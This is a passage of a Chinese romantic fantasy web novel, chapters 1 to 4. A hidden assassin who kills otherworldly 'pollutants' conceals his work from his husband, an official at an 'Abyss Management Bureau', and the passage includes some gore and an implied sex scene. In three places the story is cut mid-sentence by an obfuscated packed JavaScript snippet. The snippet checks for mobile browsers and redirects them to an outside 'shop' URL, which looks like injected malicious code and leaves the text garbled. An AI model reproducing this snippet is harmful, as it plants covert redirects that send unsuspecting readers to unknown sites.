《体面的工作不赚钱》 1. 没改行 【01、婚假】 “我说真的,竹幽你都歇多长时间了?” 咖啡店里,两位青年相对而坐,一人姿态慵懒,好整以暇的看着对方,另一人则满脸崩溃,右手用力的拍在桌子上。 “啪”的一声,大理石桌面发出清脆的响声。 碍于旁边店员传来的诧异眼神,段飞云尽量压低声音,咬牙切齿的说:“这婚假也放得够长了吧,什么时候回来干活?” “很长吗?”竹幽抬起头,好脾气的朝对方笑了笑,“我记得好像才半个月?” 听他这么说,段飞云闭眼,气得浑身发抖:“整整二十八天!!咱们工会谁会像你这样不务正业,人家管理局的都没你这么长的婚假!” 听到熟悉的字眼,竹幽勉强打起几分精神,神情依旧是懒洋洋的:“有吗?” 他新婚老公就在管理局上班,不也照样大把的时间陪他…… 段飞云用一种恨铁不成钢看着他:“喊都喊不出来,怎么,是你老公不让你出门?” 竹幽眨眨眼:“哦,也没有吧……” 感觉叶弦还挺支持他出来上班的。 “总之这事不能再拖了,”段飞云声音很低,“城北出现了新的污染物,上头的命令,必须要在那群管理局的人之前动手。” 百年前,一种不可名状的生物突然凭空出现,络绎不绝,对人类世界造成了极大的影响。 经过缜密的调查研究,污染物是从另一个世界产生,通过一种扭曲的空间裂缝出现在人类世界。 而这种生物也有了正式的名字,国际组织将其命名为“污染物”。 听到这里,竹幽掀起眼皮,他的目光向来的懒散的,此刻却别有深意的看着段飞云,莫名叫他有种浑身发紧的感觉。 “这种事也交给我,公会这是没人了?” 青年故意停顿了下:“还是说……有谁指定的叫我去。” “哪能啊!” 见事情有转机,段飞云满口否认:“这不是看你这么长时间没动手,特意给您派个活,好热热身嘛。” “这样,”竹幽也顺着他的话,笑眯眯的应下来,“说的确实有道理,好长时间不动,都有点忘记怎么拿刀了。” “……” 刚想继续说点什么,竹幽的手机忽然发出一阵消息提示音。 段飞云的注意力也被吸引了过去,他语气促狭,看起来比当事人还要关心:“快看一眼,是不是你老公发来的消息?” 淡淡瞥了对方一眼,竹幽才慢吞吞的解锁手机。 “他到底是什么身份啊,突然结婚了也不跟我说一声,我又不会偷偷透露出去……” 在段飞云叽叽喳喳的埋怨中,竹幽看清了叶弦发来的消息。 ——【老婆,局里今晚加班,不能回去陪你了。】 “肯定是那种特别成熟稳重的人吧?” ——【好想我的幽幽宝贝啊。】 “反正我知道,那种油嘴滑舌的你肯定看不上……” ——【不想加班,想回家找老婆[哭][哭]】 段飞云说一句,手机里就弹出来一段不要脸的话。 段飞云注意到竹幽的脸色忽然晴转阴,吓得止了声:“额,那个……我说错什么了吗?” 竹幽抬头,淡淡瞥他一眼,没有多说什么,默不作声转移了话题:“没,这次的污染物是什么情况?” 段飞云有些摸不着头脑,只以为是他们夫夫关系不太好,便顺着竹幽的话继续往下说。 “是最常见的精神类,大概出现一周左右,会使用精神攻击大脑,占据人类身体……” 说到这里,段飞云的声音也难免带上一丝犹豫:“根据消息,这只污染物可能已经拥有了人类躯壳。” 竹幽的指尖在桌面上点点停停,面上看不出什么特别的情绪:“还有吗?” “目标喜欢在夜间行动,根据预测记录,今晚应该会在城北出现。” “城北?” “对啊,怎么了?” 竹幽摇摇头,没有多说什么:“想办法把东西弄到城西,今晚两点行动。” 城北有很多别墅区,地域治理相当发达,经常有名流政客出没。 最重要的是,他和叶弦的婚房也在那边。 纵使竹幽对自己的技术很自信,但在对方眼皮子底下动手……难免会产生些微妙的情绪。 想起这段时间两人之间的相处模式,这种微妙的感觉又被进一步放大。 于是竹幽再次重复了一遍命令:“不能让它在城北出没。” 万一被叶弦撞到就不好了,年纪轻轻的,他还不想守活寡。 段飞云有些摸不着头脑:“行吧,都听你的。” 这种小事,按理来说只需要一个人就够了,但竹幽向来不爱处理事发现场,做段飞云便成了他的收尸工具人。 竹幽点点头,不欲多言,转身离开了咖啡店。 段飞云原地伸了个懒腰,随后走到前台,嘴里嘀嘀咕咕:“又让我结账了……” - 天气很好,刚走出咖啡店几步路,手机上又传来一阵消息提醒。 ——【老婆你怎么不理我?】 ——【分开的第九个小时,想老婆[心碎][心碎]】 看着屏幕上一长串类似“老婆”“幽幽宝贝” 字眼,竹幽脸上罕生出几分空白。 都说不要了,怎么还是这样子喊人…… 手指微动,选择性地回复了几句。 【看到了,刚才有事。】 【今晚什么时候回来?】 正常人结婚改变称呼似乎都会有个适应的过程,但印象中叶弦从来没有不好意思过,一上来就这样叫了…… ——【来了个新麻烦,不好说。】 ——【可能会很晚才能回家。】 婚假结束后,叶弦经常工作到很晚才回家,直接在单位过夜也是常有的事。 竹幽没有具体了解过叶弦的工作性质,问起来对方也含糊其辞,说是在管理局当普通的职员,平时就整理些资料什么的。 不抽烟不喝酒无不良嗜好,竹幽曾经听某些前辈说过,结婚就要找这种人。 老话诚不欺我,他这个老公确实哪哪都好,就是说话有点孟浪…… 但日子嘛,哪有顺心顺意的,竹幽就觉得自己目前适应得不错。 找了个体制内工作的对象,日子都有奔头了。 总而言之,竹幽对现状很满意,决定做完这一单后再接两个活儿补贴家用。 虽然没问过叶弦的工资有多少,但是体制内,想想就知道不会太多,何况他老公还是个小职员,说不定还会被领导压榨…… 还是他们这种做自由职业的比较爽…… 如果叶弦今晚通宵加班的话,刚好方便了竹幽找借口半夜外出。 可惜总是事与愿违。 ——【老婆你想我了吗?】 ——【我今晚会尽早回家的^^】 要回家就不好办了…… 竹幽心思飘飞,连带着身后的段飞云都没注意到。 “做什么呢站在这里不动?”段飞云指着他的手机,“一直盯着手机,我喊了你几声都没听见。” 竹幽转身,装作若无其事道:“你还有事?” “别装了我都看见了,”段飞云语气戏谑,“和家属聊天嘛,理解理解。” “就是你们这感情也太好了,不愧是新婚夫夫。” “……” 竹幽白他一眼,懒得解释更多,干脆快步向前。 段飞云在后面追着他走:“对方人咋样,对你好不好啊?” 竹幽顿步,认真的看了他一眼:“你这么想知道,不去直接去管理局看看。” “……?” “不是哥们,什么局?” 竹幽一字一顿:“深、渊、管、理、局。” 接下来的一分钟里,竹幽满意的看到段飞云逐渐石化的表情,施施然离开。 好长时间过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305300|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段飞云才逐渐从震惊中缓过神来。 “我草了……” 他没有怀疑竹幽的话,但是这个管理局是什么东西啊!? 谁不知道他们工会向来与深渊管理局处于对立面,竹幽怎么会和管理局的人牵扯一块去? - 段飞云本人是怎么想的,已经和竹幽没有太大关系。 打车来到一处偏僻的城中村,不动声色的检查了一遍周围情况,竹幽眨眼消失在人海之中。 即使是在大白天,有些地方依旧是密不透风,连阳光都照不进来的。 竹幽顺着巷子来到一处出租屋前。 两侧高耸的居民楼掩盖住光照,显得门前分外昏暗。 有个衣衫褴褛的老头正倚靠在墙边,满身酒气,看不出是死是活。 竹幽从他身边经过,发出一阵不大不小的脚步声。 “嗬……是谁……” 老头的发声像是在磨一把生锈的刀,呕哑嘲哳,他有些感慨得看向竹幽:“好长时间不见,你还活着……” 污染物肆虐的城市已经不再安全,虽然国家现在已经成立了相关部门,但政策终究涵盖不到每个人身上。 碎片化的空间裂缝随时可能出现,每天的人口失踪案都有很多,警署查都查不过来,更何况他们这些住在城中村的底层人。 竹幽结婚之前住在这间出租屋,偶尔会和老头打个照面。 一连数月不曾出现,老头便理所当然的认为他已经死了。 “……嗯,还活着。” 竹幽声音沉闷,半张脸隐藏在黑暗中,有些心不在焉的回答。 “还活着啊,真好……” 说完这句,两人之间的对话就此结束。 没有一人多言。 出租屋的结构很简单,两室一厅,装修风格充满了上个时代的影子。 忽略那些不重要的东西,竹幽径直来到一处暗门前。 开门后是一条通往地下室的昏暗楼梯,连接着他的武器仓库。 片刻后,竹幽从地下室出来,腰上别了一把不显眼的匕首。 匕首开了刃,看起来异常锋利。 竹幽却有些心不在焉的把玩着匕首,莫名想到了还在管理局加班的叶弦。 当初结婚为了避免身份暴露,他特意把所有的武器都锁在这里。 本以为能像普通人一样,与叶弦和和美美过段安稳日子。 但污染物一日不除,他就一日不得安生。 这些年在叶弦的帮助下,竹幽的社会知识终于没有那么浅薄。 结婚意味着什么,他比更多人都要清楚。 之前自己一个人,怎么过都没关系。 竹幽见过太多的死亡,早就对生命没了敬畏之心,但现在不一样了。 他结婚了,不是一个人了。 但由于工作性质,竹幽一直对外声称自己是无业游民。 这样养家糊口的重任就落在叶弦一个人身上。 “家庭是两个人共同撑起来的,如果说一个人觉得岁月静好,那一定是有人在替你负重前行……” 想到网上营销号的视频,竹幽又有些犹豫。 或许视频号说的对,他应该告诉叶弦这些真相,隐瞒总归是不好的…… 竹幽眨眨眼,越想越觉得有道理,俨然已经决定,等到叶弦这次加班回来,就一步一步透露自己的真实身份。 省得对方每天这么辛苦的加班,指不定承受着多大的压力…… - 深渊管理局。 此时此刻,被竹幽担心承受偌大压力的叶弦正在压力别人。 “三天了,还是没有找到Z-07的具体方位。” 男人穿着一身警服,身材高大挺拔,眉头紧锁的站在办公桌前,微微弯腰,修长的手指不紧不慢的扣动在桌面,发出规律的响声。 叶弦面若冰霜,语气不悦:“再给你们半小时。” “要还是找不到下落,今晚全都留下来加班。” 2. 没改行 【02、警报】 没有在出租屋待太长时间,竹幽很快离开,随便在路边拦了一辆车。 “城北盛庭。” 司机有些诧异得看了他一眼,一边开车一边闲聊说:“怎么去城北,小伙子你没看新闻吗?” 竹幽:“没,怎么了?” 司机诧异的往后瞥了眼,嘴里念念有词:“官方刚才发的消息啊。” 近些年政府已经在加大力度处置污染物,在每个城市建立深渊管理局,为了不影响到正常人的生活和工作,便会通过各种方式进行预警。 譬如现在竹幽手机里的短信:【海湾各市民请注意,相关部门检测到近期有污染物活跃在城北××区域,为了保障各位市民的安全,请各位市民非不要不要外出……】 与此同时,商业街最中心的广告牌上面也紧急插播了同样的预警。 红色加粗的字体非常醒目,引来了不少人驻足观望。 竹幽降下车窗,还能隐隐约约听到一些年轻人的讨论声。 “完了,我家刚好就在城北,不会出什么事吧!” “哎呀,相信政府好不好,管理局他们出任务好像还挺快的,应该不用担心。” “就是就是,就是一次简单的小预警,连三级警报都没触发,还是继续玩吧。” “说的好像有道理……” 不同等级的污染物,消息提醒的紧急程度也是不一样的。 最低级就比如这次,是灰色的,其实是蓝色,橙色,红色预警。 最高等级的是黑色,很少见,最近一次还是在几年前。 至少在竹幽印象中,他只见过一次黑色预警,但由于某些不明原因,他已经想不起来当初发生了什么事情。 司机显然也听到了他们的谈话,把头朝后一扭,热情的说道:“这样吧小伙子,趁现在天还没黑,我给你送到城北,多给我三十块钱就行。” 作为一个老油条,司机早就注意到了竹幽身上这身行头,从头到脚一套下来可不便宜。 不当条肥鱼宰一顿,他可不甘心。 “要加钱?”竹幽这才正眼看了一下前方的人,有些兴致缺缺,“那开门吧,我找别人。” 司机的笑容一下子僵在了脸上:“……” 他试图再次挽留:“二十,二十也行,都是出来糊口饭的不容易……” 竹幽看向司机,简单的重复了一遍自己的要求:“我说,开门。” 青年语气不重,却莫名叫司机浑身升起一股子战栗,某些藏在身体中的底层代码瞬间发动,司机忙不失迭的打开了车门:“欸,好好……我这就开……” “您慢走啊——” 将车门远远甩在身后,竹幽才怅然的摇摇头:都是出来挣钱的,他就容易了吗。 自己上的还是夜班,空间裂缝不稳定的时候更辛苦,还要两班倒。 比起开车,还是杀人更累。 想到这里,竹幽弯了弯眉眼,更加赞同了自己的想法。 转手用加密通讯给段飞云发了条消息:【帮我买把RN-707型手枪。】 军方研究出来的最新型枪支,可以通过黑色市场购买,目前售价大概在三百万。 对方很快回复:【本人?】 【啥意思啊,你钱多没地花,□□干啥?】 【你不是不爱用枪吗?】 【受刺激了?你要崩了谁?】 【说话!】 二十分钟后—— 段飞云:【[截图.JPG]已下单,莫辜负。】 段飞云:【[愤怒][愤怒]】 - 晚上七点钟。 深渊管理局内一片灯火通明。 一群年轻人聚精会神的守在电脑前,看着上面经过加密处理的信号。 污染物都是从里世界出来的,里世界虽然会折射现实世界发生的事情,但呈现出来的效果都是不完整,不连贯的。 因此从里面出来的污染物,身上也散发着一种断断续续的辐射。 这也是深渊管理局追踪它们的方法之一。 “老大,它好像往这边去了……” 一个神情激动的小年轻指着屏幕上的红点,连忙向着在窗边打电话的男人招手。 叶弦微微侧首,用简短的语言结束了通话。 他走到杜嘉许的旁边,言简意赅道:“怎么。” “这里!”杜嘉许顺着地图通路,声音不自觉拔高:“刚才不知道为什么,这只污染物忽然改变了方向,朝着城西去了!” 见叶弦没有说话,杜嘉许继续补充道:“那边都是荒地,刚好方便动手!” 污染物非常容易隐藏在人群中,它们有固定的猎食目标,一旦锁定了方向后便不会轻易改变。 虽然不知道为什么会忽然变道,但对目前的管理局来说是个好消息。 城西有一大片废弃的烂尾楼,当年的老板早就自杀,迟迟没有人接管工程,因此那边就逐渐变得人迹罕至。 “嗯。” 叶弦沉默的看着屏幕,却是有自己的考量。 不在城北最好,这样就不会伤害到竹幽。 “杜嘉许,你今晚和陈三清跟我一起留在这,组队出任务。” 随手指了两个外勤,叶弦便大手一挥:“剩下的下班。” 周围欢呼声一片,唯有杜嘉许和陈三清两个人耷拉着脑袋:“啊,怎么又是我们俩……” 叶弦眉梢一挑:“倒是提醒我了。” 两人看着叶弦,目光瞬间变得亮亮的。 拿起靠背上的警服,叶弦大步流星的离开了办公室:“我总是守着也不是个事,这样吧,今晚你们两个在这,我回家陪老婆。” 两个小年轻瞬间感觉天塌了:“!” “老大,你不能走,我和三清不行的——” 杜嘉许连忙跟在叶弦身后,就差一步一扣首请人回来了。 但叶弦的决定显然不是他能撼动的,离开的步伐甚至没有半分停顿,只是两指并拢做了个再见的姿势。 两个小苦瓜瞬间欲哭无泪。 半晌后,还是陈三清率先开口:“……队长还挺帅的。” 杜嘉许白他一眼:“咦惹,你是个正常人吗,怎么会觉得领导长得帅?” 陈三清一哽,瞬间不说话了。 - 这边,竹幽退而求其次,选择了经济实惠的地铁回家。 由于污染物会时不时从地下出现,官方封锁了不少铁路线路,不少人对此唉声叹气。 公共交通有些费时,等到竹幽回到家的时候,天色已经逐渐黑了下去。 由于官方白天发布的消息,本就安静的别墅群变得更加寂静。 “叮咚——” 手机再次弹出消息提醒。 【尊敬的各位市民们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305301|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上好,经过精准勘测,此次目标已经向城西废弃楼盘行进,请大家注意自身安全,不要外出行动,预计明日能够恢复正常学习工作,祝各位市民生活安康,感谢您的观看。】 竹幽看着短信眼神一闪,污染物换方向,证明段飞云开始行动了…… 找到和叶弦的聊天窗口,刚想说点什么,对面就像是心有灵犀似的,打来了电话。 竹幽愣神两秒,接下。 “老婆,我下班了。” 叶弦语气慵懒,带着丝丝缱绻,对方像是正在在开车,竹幽能听到车子的鸣笛声。 他在电话这边点了点头,又后知后觉对方看不见,遂开口:“知道了,早点回家。” 顿了顿,竹幽继续补充:“你……注意安全。” 不知道是哪个词触动了对方,叶弦声音中带上了笑意:“知道了宝贝。” “好的……” 竹幽前二十多年说的话都很少,还不是很适应打电话,说到这里就有些不知所措。 对方显然也认识到了这一点,很快接上了话题:“吃饭了吗,我给你带了东西。” 竹幽刚想摇头,转而开口:“吃了吧。” “那就是没吃,”对方说话声有些模糊,低沉的嗓音扣在竹幽的心弦,“在家乖乖等我回去做饭。” 竹幽眼睛一眨一眨,有些受不了他这样说,率先挂断了电话。 这边叶弦听着手机里传来的“嘟嘟”声也不觉生气,反而高兴得勾起了嘴角,单手打方向盘又超了一辆车。 - 竹幽先回到家,把外套挂好后,忽然瞥见了旁边的厨房,眼神闪了闪,不知道在想什么。 …… 叶弦一回到家就感觉不太对劲。 纵使通风系统在不断工作,还是能闻得到空气中漂浮的味道。 看了眼客厅,嗯,老婆在淡定的看电视…… 哦,好像也不是特别的淡定。 叶弦无声笑了笑,走到沙发面前,挡住了竹幽看投影仪的目光。 果然,对方紧张的眨眨眼,没敢抬头看人,只小心的朝旁边躲了一下。 叶弦再次坏心眼的挡住他的视线。 这下竹幽没办法,只能无奈的抬头看向他。 叶弦心中一软,语气绵长:“说吧,刚才自己一个人在家做了什么?” 竹幽看了一眼厨房的方向,嘴硬道:“什么也没有。” “那为什么开通风?” 竹幽不说话了。 “哦,那让我猜猜,不会是又把菜炒糊了吧……” 叶弦装作恍然大悟的样子,转身就要去厨房看,果不其然,一只白皙而有力的手拉住了他。 转身竹幽的目光已经带上了几分着急:“你别笑我了……” 竹幽从来没有自己做过饭,当初新婚不久,看叶弦做饭新奇便自己也尝试了下,结果当然是炒糊了只能倒掉。 这次就是想再试一次,结果还是没掌控好火候。 他也不是故意的。 叶弦不能笑他。 “没笑你,”叶弦终于没忍住,回头看向竹幽,语气不自觉的温柔起来,“不饿了吗,去给你做饭。” 竹幽松了手中力道,半晌才憋出一声“哦”。 叶弦在他看不见的地方笑笑,顺便揉了揉刚才被竹幽攥住的手腕。 以前怎么没发现,他老婆劲还挺大的。 3. 没改行 【03、改行】 昏暗的楼盘中,有一道身影在摇摇晃晃的向前行走。 “他”走起路来十分没有章法,好似下一秒就能直接摔在地上。 段飞云隐匿在三楼,远远的看到它的身影。 已经接近凌晨,一个小时前给竹幽发的消息还没有得到回复。 ——【你什么情况?】 ——【大半夜的很冷欸!】 二十分钟后:【[污染物图片1][污染物图片2],它在找你。】 又过了十分钟,段飞云百无聊赖,敲敲打打:【求你了爹,回个消息吧。】 本来是闲来无事犯个贱,没想到撤回的下一秒,段飞云就看到了竹幽的消息。 u:【等我。】 两秒后:【好大儿^^。】 段飞云:“……” 他就知道这人的恶趣味又犯了。 “嗬……嗬……” 刚收起通讯机,楼下的污染物却由于长时间迷失方向,已经陷入了癫狂的地步。 原本在好好行走的人在几秒钟改变了外观,皮肤碎裂,绿色的血液四处迸溅,身体膨胀至原来的数倍大小,看起来有一层楼那么高。 “轰隆——” 它向着旁边年久失修的建筑楼发起进攻,混凝土石块瞬间飞得到处都是,同时散发出大量的灰尘。 这是污染物暴起的前奏,会无差别的进行攻击,后面的情况只能更加糟糕。 段飞云眯起眼睛盯着污染物的方向,同时在心底谋划。 估计深渊管理局的那群人也知道了这东西时改变了方向,要是竹幽不能提前到来,就只能他自己出手解决了…… - “三清啊,我真不行了……” 这边,两个鬼鬼祟祟的身影一前一后行走在烂尾楼之间,赫然是先前的杜嘉许和陈三清两人。 杜嘉许拿着特制的枪,身上套着沉重的防护服,气喘吁吁得跟在陈三清的后面。 “到了吗?腿都要断了……” 陈三清做了个噤声的手势,看着手腕上的指针,转身换了个方向:“应该是往这边去了。” 杜嘉许长长的叹了一口气,再度跟上他:“为什么你看方向这么费劲,跟着叶队就不会……” 他们今晚做了太多无用功,以前跟着叶弦出任务的时候只需要跟在后面,完全不用动脑子,现如今真正动手才发现,现实和想象有着很大差别。 后者无语的看他一眼:“你也知道他是队长,我是陈三清啊……” 他要是能像叶弦一样出手利落,早就自立门户了。 “算了,还是抓紧时间清理污染物吧,等明天申请双倍加班补贴。” “知道了——” - 盯着污染物的人同时还有竹幽。 但事情总会有出错的时候,就好比今晚。 吃了晚餐后竹幽主动去刷了碗,随后便躺在了床上。 后来的事情几乎是水到渠成,只是不知为何,叶弦今晚的力气很大。 就着一个姿势,把竹幽折腾得眼泪都要掉下来。 竹幽后来受不了,让他停下来,叶弦也没有听他的。 这人还恶劣得不行,说老婆老婆你怎么回事呀,在我的床上还在想别人? 竹幽也不能说他在想污染物的事,只能呜咽着咽下苦楚,依着对方的意,连着喊了好几声老公。 不曾想叶弦更加孟浪,半威胁半哄着,叫竹幽尝试新东西,坏心眼的说这样他才能原谅竹幽刚才的分神。 竹幽信了,然后哭得更惨了。 最后的最后,由于惦记着污染物的事情,竹幽硬撑着没有昏过去。 后面依稀间还能听到叶弦的声音:“宝贝这次没昏过去,有进步哦。” 意识模糊的竹幽已经没有力气再讲话,赌气用力把头转到另一边。 …… 叶弦的呼吸逐渐变得平稳有规律。 看起来是睡着了。 竹幽小心翼翼的睁开双眼,从枕头下面摸出手机。 段飞云的消息已经发了不少,竹幽随意回了两句,然后轻轻的把横在自己腰上的手臂挪开。 叶弦有锻炼身体的习惯,胳膊上的肌肉很多,现在处于无意识状态,摸起来手感很好,竹幽抓紧时间揩了两下。 青年在黑暗中观察对方的神情。 看起来平稳正常,应该是没有醒来。 很好。 下床,穿鞋,站起身,嘶…… 青年扶了一把自己的腰,无声瞪了一眼身后的始作俑者。 这人在床上说的话真是一点也算不得真,也不知道哪来的这么大力气…… 不去深究刚才的种种细节,竹幽来到衣帽间,随便穿了件低调的衣服,最后看了叶弦一眼,小心的离开了房间。 他没有看到的是,在关上门的一瞬间,房间内另一位主人的双眼也逐渐睁开。 - 叶弦第三次看上钟表上的时间。 凌晨一点,他确定自己的新婚老婆偷偷起床,半夜离家出走。 想起昨晚对方各种异常的举动,以及种种走神行为,似乎都在说明一件事——外面有什么东西在吸引竹幽的注意力。 至于到底是什么…… 叶弦的脸色逐渐沉了下来,当即起床收拾仪表。 结婚的时候双方就表明了身份,叶弦说自己是管理局的小职员,竹幽是无业游民,说自己平时靠打黑工赚钱。 婚后叶弦也曾经劝过他老婆,说打工这么累就别去了,现在外面危险,遇到歹毒的人就不好了。 可惜竹幽看起来对自己的工作很满意,完全没有想要改行的意思。 新婚这么久他一次也没见到竹幽出门,他今晚一定要跟着竹幽,看看到底是什么工作需要半夜起来…… 最好趁这个时机说服对方换个工作什么的。 - 横行霸道一段时间后,污染物的行为逐渐恢复了理智。 它重新变成了人的样子,似乎生出了一丝神智,连走路也不摇晃,看起来就像是正常人一样。 段飞云来到四楼,清楚的看到了这一变化。 “啧啧……” 他摇摇头,给竹幽发了消息:【已进入第二阶段的变异,当心。】 这个阶段的污染物虽然外表更加像人,但攻击速度会加快,对于普通人来说十分危险。 ——【知道了。】 看到对方这么说,段飞云就知道接下来应该没有自己的事了。 他摇摇头,摸了摸怀里揣着的枪:“今个应该是轮不到你出马喽……” 等过段时间他去收尸就成。 - 对方是个瘦削的中年人。 他外表看起来和寻常人一样,就是脸色稍微苍白了些。 竹幽缓步走到它的面前,站定,不执一词。 中年人也顿住脚步,僵硬的歪了歪头,像是不理解为什么这个年轻人不怕自己。 等了一会,竹幽还是没有动。 他面色如常,神色平淡。 一秒,两秒…… “唰——”的一声,血花四溅。 一瞬间,别在竹幽腰间的匕首此刻已经牢牢扎在了中年人的脑袋上。 与此同时,这人的手臂已经变成了尖锐的爪子,停留在距离竹幽心脏前一厘米处。 竹幽在污染物出手之前解决了对方。 如果杜嘉许在这里一定会感到震惊,因为这个世界上居然有人能爆发出比污染物更快的速度。 毕竟对方不是正常生物,甚至不能用“生物”这个词来表示。 处于第二阶段的污染物的行动速度很快,攻击速度更快,慢速度的攻击对这些污染物来说根本起不到作用,一般只能采用远程地毯式攻击。 但是一定没有人想到,会有人像竹幽这样,拿着一把普通的匕首,干脆利落的解决掉了污染物。 这已经远超正常人展现出来的天赋。 匕首的位置很有讲究,插在这具尸体的脑袋上。 鲜血和脑浆四处流淌,空气中弥漫着一股死亡的气息,竹幽就在这样的环境下,慢条斯理的晃动了几下手腕,将这人的脑浆捣得更碎。 “滴滴答答……” 血液不断流淌到地上,竹幽依旧面不改色,他刚想拔出匕首擦一擦,却眼神一凛,下意识朝身后攻击。 ——有人竟然不知何时来到了他的背后! 破空声夹杂着熟悉的音色,有人卸掉了竹幽的攻击,担心的喊了他的名字。 “幽幽。” 青年的意识瞬间清醒,几乎是难以置信得抬起了头,看向眼前的人。 深邃的眉眼,锋利的五官,紧蹙的眉头,是叶弦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305302|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- “那边好像有打斗声!”陈三清拉着一步一喘气的杜嘉许,指着右边的方向。 后者一副半死不活的样子:“三清哥哥我们这样原地打转真的能顺利完成任务吗?” 陈三清被他叫的鸡皮疙瘩掉一地:“去去去,别这样叫我,怪恶心的。” 杜嘉许翻了个白眼,也不打诨了:“好像是有建筑物倒塌的声音,难道是进入癫狂阶段了?” “应该是这样。” “那接下来咱们遇到的任何一个活人都不能相信了。” 癫狂阶段之后就是正常人阶段,这个时期的污染物看起来和正常人一样,非常难以辨认。 “不用说,我知道。” 陈三清拽住身边人的胳膊:“待会出事了别松开。” - 看到叶弦的一瞬间竹幽是诧异的,但随即很快镇静下来。 想了想,还朝左走了一步,试图挡住身后脑浆哗哗流一地的血腥场面。 叶弦眉头不停跳,几乎快要被他气笑:“你觉得我没看见?” 此话一出,叶弦自己先后悔了。 无他,语气太重太正经严肃了,就像平时批斗下属一样。 但竹幽不是下属,叶弦从结婚起就没有朝对方说过一句重话。 方觉不妥,准备另寻他词的叶弦就看到竹幽低着头不说话,眼睛一眨,两滴透明的泪水顺着脸颊滴落在地。 他把老婆骂哭了。 几乎是想也不用想,叶弦主动伸手抱住了面前清瘦的人:“怎么哭了?” 竹幽声音闷闷的,听不出来情绪:“我……” 我了半天也没我出来个所以然,最后还是叶弦主动揽下了话茬:“我骂你了,是我的错,刚才我做的不对,你做的我就当没看见,别哭了好吗?” 竹幽在他怀里轻轻的点点头。 叶弦不动声色的叹气,观察起眼前的环境。 四下无人,荒郊野岭,冷风袭袭,竹幽竟然就在这种环境杀了人。 罢了。 左右周围也没有摄像头,先是确定怀里的人没有受伤,叶弦才拔出插在尸体上的匕首。 不得不说,竹幽的手法很好,几乎是一击毙命,黑暗中能感受到剑柄上有凸起,不知道是刻了什么字。 擦干净匕首,还给竹幽,叶弦火速处理了剩下的尸体。 他动作很熟练,就像是做过许多次一样。 竹幽沉默的看着对方,刚才硬生生挤出来的眼泪才干,就听见叶弦又开始发问。 “……所以说,老婆你平时就是做这种工作的吗?”身材挺拔的男人正在处理地上的血迹,声音听起来闷闷的:“要不趁着现在年轻,早点改行吧?” 这也太危险了。 竹幽:“……” 他好不容易找到的高薪工作。 但肯定不能反驳对方,竹幽只能顺着叶弦的话说:“嗯,我知道了。” 叶弦点点头,继续道:“这段时间可以慢慢找工作,在家我养着你,乖啊。” 竹幽没说话了。 接下来的氛围很奇怪,两人摸黑走在荒地里,深一脚浅一脚顺着石子路走到大路上,拦了一辆车回家了。 这边段飞云都快睡着了才接到竹幽的答复:【不用来了。】 叶弦已经替他处置好了尸体。 但这话在段飞云看起来却十分的不对劲。 ——【不用来了是什么意思?】 ——【你有新的狗了?】 上条撤回。 ——【谁给你搬的尸体啊???】 十分钟后: ——【幽幽哥下次有钱还能带我一起赚吗?[可怜][大哭]】 - 这边根本没找到污染物的杜嘉许和陈三清正在风中凌乱。 看着眼前的残垣断壁,他们怎么也找不到污染源。 “是这里没错吧?” “怎么就是找不到呢?” 找了许久也不见污染物的影子,陈三清眼睛一闭:“算了,回去吧。” 杜嘉许还在傻愣:“啊?回去干啥?” 陈三清忍无可忍:“回去等着挨批!” 他们两个今晚的行动都被执法记录仪记录了,原地打转这种骚操作,叶弦看到了肯定是一顿痛批。 与其在这里吹冷风,不如早点回去想想检讨书怎么写。 4. 没改行 【04、练兵】 “砰——” 房门发出不大不小的响声,两道身影一前一后进门。 叶弦在前,竹幽在后。 气氛不尴不尬的,没有人先说话。 竹幽安静坐在沙发上,叶弦则单手撑着身子,眉头紧锁的样子。 “宝贝啊,我刚才和你说的,都记住了吗?” 半晌后,还是叶弦先开口,他目光有些复杂:“多危险不是?” 他显然指的是刚才竹幽猎杀污染物的事情。 竹幽默不作声地点点头,没有把心里话说出来。 ——低等污染物处理起来还是很简单的,至少完全没有像叶弦嘴里说出来的那样可怕。 “虽然我工资不高,但养家还是不成问题的。”叶弦继续说。 竹幽接连点头示意,眼睛睁得大大的看着他。 ——给政府打工能有多少钱,不过男人都好面子嘛,他理解的。 竹幽的眼神亮亮的,叶弦视线少见得有些躲闪,轻咳了一声继续补充道:“有什么问题都可以商量不是,以后别再半夜偷偷跑出去了。” 要不是他今晚留了个心眼,指不定会被瞒着多久。 竹幽应和他,心里却有些心不在焉。 他在想,叶弦为什么说的都是这些无关紧要的话题。 毕竟在叶弦心目中,身为“普通人”的竹幽根本没有与污染物斗争的实力。 平时竹幽做任务的时候,也会特意避开普通人会出没的地方。 虽然世道不平,但平时处在象牙塔,根本没见过污染物的人更多。 